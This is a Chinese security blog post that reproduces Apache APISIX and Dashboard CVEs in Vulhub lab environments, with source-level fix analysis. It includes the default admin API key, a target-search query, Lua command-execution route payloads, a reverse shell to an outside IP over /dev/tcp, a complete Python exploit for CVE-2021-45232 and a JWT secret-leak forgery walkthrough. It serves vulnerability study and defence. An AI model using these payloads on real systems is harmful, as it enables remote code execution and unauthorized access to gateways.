Apache Apisix网关系统历史漏洞复现分析

文章目录

  • 前言
  • CVE-2020-13945默认api令牌
  • CVE-2021-45232未授权接口
    • 2.1 默认账户密码导致RCE
    • 2.2 未授权访问api接口RCE
  • CVE-2022-24112 地址限制绕过
  • CVE-2022-29266 JWT令牌伪造
    • 4.1 漏洞源码简析与修复
    • 4.2 漏洞环境搭建与复现
  • 总结

前言

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。

  1. 开源项目地址:https://github.com/apache/apisix;
  2. 官方文档地址:https://apisix.apache.org/zh/docs/apisix/getting-started/README/;

你可以把 Apache APISIX 当做流量入口,来处理所有的业务数据,包括动态路由、动态上游、动态证书、金丝雀发布(灰度发布)、限流限速、抵御恶意攻击、监控报警、服务可观测性、服务治理等。
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Fofa 搜索语法:

title="Apache APISIX"

渗透测试基本信息:

APISIX 系统默认端口默认凭据或口令
Apache APISIX9080edd1c9f034335f136f87ad84b625c8f1
Apache APISIX Dashboard9000admin/admin

官方推荐的快速安装 APISIX:

curl -sL https://run.api7.ai/apisix/quickstart | sh
# 验证安装是否成功
curl "http://127.0.0.1:9080" --head | grep Server

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【创建路由】

通过下面的命令,你将创建一个路由,把请求 http://127.0.0.1:9080/ip 转发至 httpbin.org/ip:

root@ubuntu:~/Desktop$ curl -i "http://127.0.0.1:9180/apisix/admin/routes" -X PUT -d '
{"id": "getting-started-ip","uri": "/ip","upstream": {"type": "roundrobin","nodes": {"httpbin.org:80": 1}}
}'
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3{"key":"/apisix/routes/getting-started-ip","value":{"upstream":{"scheme":"http","nodes":{"httpbin.org:80":1},"type":"roundrobin","pass_host":"pass","hash_on":"vars"},"id":"getting-started-ip","priority":0,"update_time":1708220748,"uri":"/ip","status":1,"create_time":1708220748}}
root@ubuntu:~/Desktop$ 
root@ubuntu:~/Desktop$ curl "http://127.0.0.1:9080/ip"
{"origin": "XXX.XXX.XXX.21"
}
root@ubuntu:~/Desktop$ 

【部署 APISIX Dashboard】

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。官方项目地址:https://github.com/apache/apisix-dashboard。

docker pull apache/apisix-dashboard
docker run -d --name dashboard \-p 9000:9000        \-v <CONFIG_FILE>:/usr/local/apisix-dashboard/conf/conf.yaml \apache/apisix-dashboard

此处安装失败,原因不详,从 docker 日志看是由于错误无法连接 2379 的 etcd 服务。

CVE-2020-13945默认api令牌

Apache APISIX 是一个高性能 API 网关。在用户未指定管理员 Token 或使用了默认配置文件的情况下,Apache APISIX 将使用默认的管理员 Token:edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个 Token 可以访问到管理员接口,进而通过 script 参数来插入任意 LUA 脚本并执行。

该默认令牌配置文件位于:https://github.com/apache/apisix/blob/master/conf/config.yaml, 这是一个默认配置导致的安全问题,实际上从官方文档也可以看出官方并不会修复该 CVE 漏洞,而是给出了安全提醒:
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【环境搭建】

基于 Vulhub 快速搭建靶场环境(https://vulhub.org/#/environments/apisix/CVE-2020-13945/):
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环境启动后,访问 http://your-ip:9080 即可查看到默认的 404 页面。
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【漏洞复现】

利用默认 Token 增加一个恶意的 router( 该 API 接口详细参数请参见官方文档:Admin API | Apache APISIX),其中包含恶意 LUA 脚本:

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406{"uri": "/attack","script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}

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然后,我们访问刚才添加的 router,就可以通过 cmd 参数执行任意命令:http://your-ip:9080/attack?cmd=id
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【其他管理接口】

Admin API (https://apisix.apache.org/zh/docs/apisix/admin-api)是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力,资源配置完成后 APISIX 将会自动更新配置,无需重启服务。

以“获取资源列表”的接口 /apisix/admin/consumers 为例:
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CVE-2021-45232未授权接口

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API:/apisix/admin/migrate/export/apisix/admin/migrate/import,它们没有经过 droplet 框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让 Apache APISIX 访问任意网站,甚至执行 LUA 脚本。

继续使用 Vulhub 一键搭建靶场环境:
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然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面:
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2.1 默认账户密码导致RCE

官方默认登录账户密码 admin/admin(Vulhub 镜像的密码为 vulhub):
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其实实战中如果没有敏感接口的未授权访问漏洞的话,是可以通过弱密码登录后台进行 RCE 的,接下来先看看进入后台后如何完成 RCE。

1、 先创建任意名称的上游服务,请注意目标节点信息后面触发 RCE 会用到:
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2、 接着创建路由,把选择上游服务选择为上面的创造的上游:
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3、访问上述创建的路由,通过“查看”修改配置,添加反弹 Shell 的 Lua Script:
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提交修改请求(API 接口参数释义请参见:https://apisix.apache.org/zh/docs/apisix/admin-api/#route),数据包如下:

PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close{"uri":"/*","name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1')","upstream_id":"501154557745693377","status":1}

4、接着访问:http://127.0.0.1:9080/rce,即可触发命令执行实现 RCE:
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【More】创建路由时并非强制选择上游服务,故上述创建上游服务的步骤也可以直接忽略,直接创建路由并指定一个有效的目标节点(主机名+有效业务端口)接口,比如:
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2.2 未授权访问api接口RCE

此漏洞的鉴权缺陷源码分析可参见:https://xz.aliyun.com/t/10732。

那如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件,一个是用来导入配置文件的。

我们可以使用 /apisix/admin/migrate/export 直接导出配置文件,删除 Authorization 字段后发现是可以正常未授权访问的:
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接下来利用另一个接口导入恶意配置即可实现 RCE,但是从上面导出的配置数据可以看到,后面多出四个字节,这 4 个字节其实是配置文件的 checksum 值,在导入配置文件时,也会对配置文件的 checksum 值进行校验,那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。

简单起见,直接利用 Github 现成的 POC 验证程序即可:https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py

#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)eval_config = {"Counsumers": [],"Routes": [{"id": str(random.randint(100000000000000000, 1000000000000000000)),"create_time": 1640674554,"update_time": 1640677637,"uris": ["/rce"],"name": "rce","methods": ["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)","status": 1}],"Services": [],"SSLs": [],"Upstreams": [],"Scripts": [],"GlobalPlugins": [],"PluginConfigs": []
}def random_str():return ''.join(random.choices(string.ascii_letters + string.digits, k=6))def calc_crc(data):crc32 = zlib.crc32(data) & 0xffffffffreturn crc32.to_bytes(4, byteorder="big")def export_data(url):r = requests.get(url + "/apisix/admin/migrate/export", verify=False)return r.text[:-4]def import_data(url, data):data = json.dumps(data).encode()crc32 = calc_crc(data)files = {"file": ("data", data + crc32, "text/data")}resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)# print(resp.text)if resp.json().get("code", -1) == 0:return Trueelse:return Falseif __name__ == "__main__":if len(sys.argv) != 2:print("python " + sys.argv[0] + " http://127.0.0.1:9000")exit()url = sys.argv[1]if url.endswith("/"):url = url[:-1]uri = random_str()eval_config["Routes"][0]["uris"] = [ "/" + uri]eval_config["Routes"][0]["name"] = uriif import_data(url, eval_config):print("attack success")print("uri is: " + "/" + uri)else:print("attack error")

脚本攻击效果演示如下(注意执行命令时应更换为 9080 端口):
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回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由:
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CVE-2022-24112 地址限制绕过

官方发布的漏洞信息:https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/。
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此漏洞相对比较鸡肋,主要是用于绕过 IP 地址访问限制,漏洞利用条件是目标系统使用了默认的 Admin Key(即 CVE-2020-13945 中的 X-API-KEY),此处暂不复现。

参考文章:

  1. CVE-2022-24112 Apache APISIX 远程代码执行漏洞;
  2. CVE-2022-24112:Apache APISIX 命令执行漏洞 - 华盟学院;
  3. https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py;

CVE-2022-29266 JWT令牌伪造

在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret,进而伪造有效的 JWT 会话凭证来非法访问 API 接口。

漏洞分析参考文章:《APISIX CVE-2022-29266 漏洞分析与复现 |TeamsSix》、《CVE-2022-29266 Apache Apisix jwt-auth插件 密钥泄漏》。

4.1 漏洞源码简析与修复

通过 Apache 官方提交的修复记录 https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed 可以看到此漏洞的问题点:
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修改代码将 401 返回的附加信息 jwt_obj.reason 删除,变更为本地日志打印。可以在 lua-resty-jwt 库(https://github.com/SkyLothar/lua-resty-jwt)中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。
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此处借用 TeamsSix 的分析总结,漏洞利用的前提有以下三个:

  • APISIX 需要开启 jwt-auth 插件;
  • jwt-auth 插件算法需要是 HS256 或者 HS512;
  • secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串;

如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。

4.2 漏洞环境搭建与复现

漏洞复现沿用上文 CVE-2021-45232 的 Vulhub 靶场环境即可,APISIX 版本为 2.9,符合漏洞条件。
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此漏洞涉及 JWT 令牌的相关知识,不熟悉 JWT 基础安全知识的话请参见《Web安全-JWT认证机制安全性浅析》,关于 JWT 密钥泄露的类似 CVE 漏洞也可参见《Nacos系统历史CVE漏洞的复现分析与检测》中的“QVD-2023-6271默认密钥”章节。

一键搭建完 Vulhub 的漏洞环境后,进入 dashboard 创建消费者,启用 jwt-auth 认证机制:

Consumer(也称之为消费者)是指使用 API 的应用或开发人员。在 APISIX 中,消费者需要一个全局唯一的 名称,并从上面的列表中选择一个身份验证 插件

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{ "key": "tr0e", "secret": "passwd123456789" } 填写到编辑器里,值的话可以随便写,算法的默认配置是 HS256 。
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创建完消费者 tr0e 以后,开始创建路由:
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同样需要启用 jwt-auth 插件:
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提交并完成路由配置:
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【验证 JWT 插件】

从官方指导文档:https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/ 可了解到,启用了 jwt-auth 插件后,会增加 /apisix/plugin/jwt/sign 这个接口。在命令行输入以下命令,参数 key 的值就是刚刚在创建 consumer 时配置的 key 值,通过访问这个 api 即可获取到 JWT 认证凭据:
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携带获得的 JWT 凭据发起对应配置的 /tr0e666 路由的请求,未返回 401 即代表鉴权成功:
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将此接口返回的 JWT 凭证作下解码可以看到 Payload 信息,其中 exp 是 JWT 的有效时间限制:
imagepng
【漏洞复现】

JSON Web Tokens 网站 https://jwt.io/#debugger-io 可以帮助我们快速构建 JWT 凭据。

需要一个 RS256 算法的 JWT 值,这里为了方便直接在 jwt.io 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。

{"key": "tr0e"}

imagepng
然后将上面拿到的 JWT 凭据发起访问受保护的路由的请求:

root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# curl http://127.0.0.1:9080/tr0e666 -H 'Authorization:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0cjBlIn0.tyNfKjLKYV860j-OQZGS0RkJFpKDsc-zEtbIklYlKrNYgkaqJmEISXNBT5jI_c6_rKl-1KLPT7cWe0X7LOdeyOR0C4F_q6Mrjznd0cxbEl5arIe-ViGOjOklcXUFMh9K-1x3DL2R60Em9MmpTOQvcbz9-Weh2h4dRHdYSej7bvHaGVXUK_8fJFXSgrn2alTnlndsRPdN9fZnkKz7rRKCCEO7skM0q7Wnho2sCWttCrTpZc6wNejj41oU3GKHmVF4bcE-WYKcf4PkTDa72ZE6-3x5xtK2s18hKzByhEb_Nwp44V6IMqKOj4dhuYlAQjvKaM5nqY6aZXr3xPi187fLDg' -i
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Feb 2024 12:39:29 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.9{"message":"Decode secret is not a valid cert\/public key: passwd123456789"}
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 

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此时拿到 JWT 的 Secret(即 passwd123456789)后,即可自行颁发有效的 JWT:
imagepng
拿着自生成的 JWT 凭证成功访问受保护的路由:
image.png

总结

Apache APISIX 作为一个动态、实时、高性能的云原生 API 网关,提供了负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。本文总计、复现可 Apache APISIX 网关系统的几个历史 CVE 漏洞。

Apache APISIX 被广泛应用于各大企业的云服务业务,因而也成为各类攻防演练的关注对象。作为运维人员或开发人员,应当及时更新 APISIX 的版本,避免系统因未及时覆盖安全补丁导致系统被入侵。

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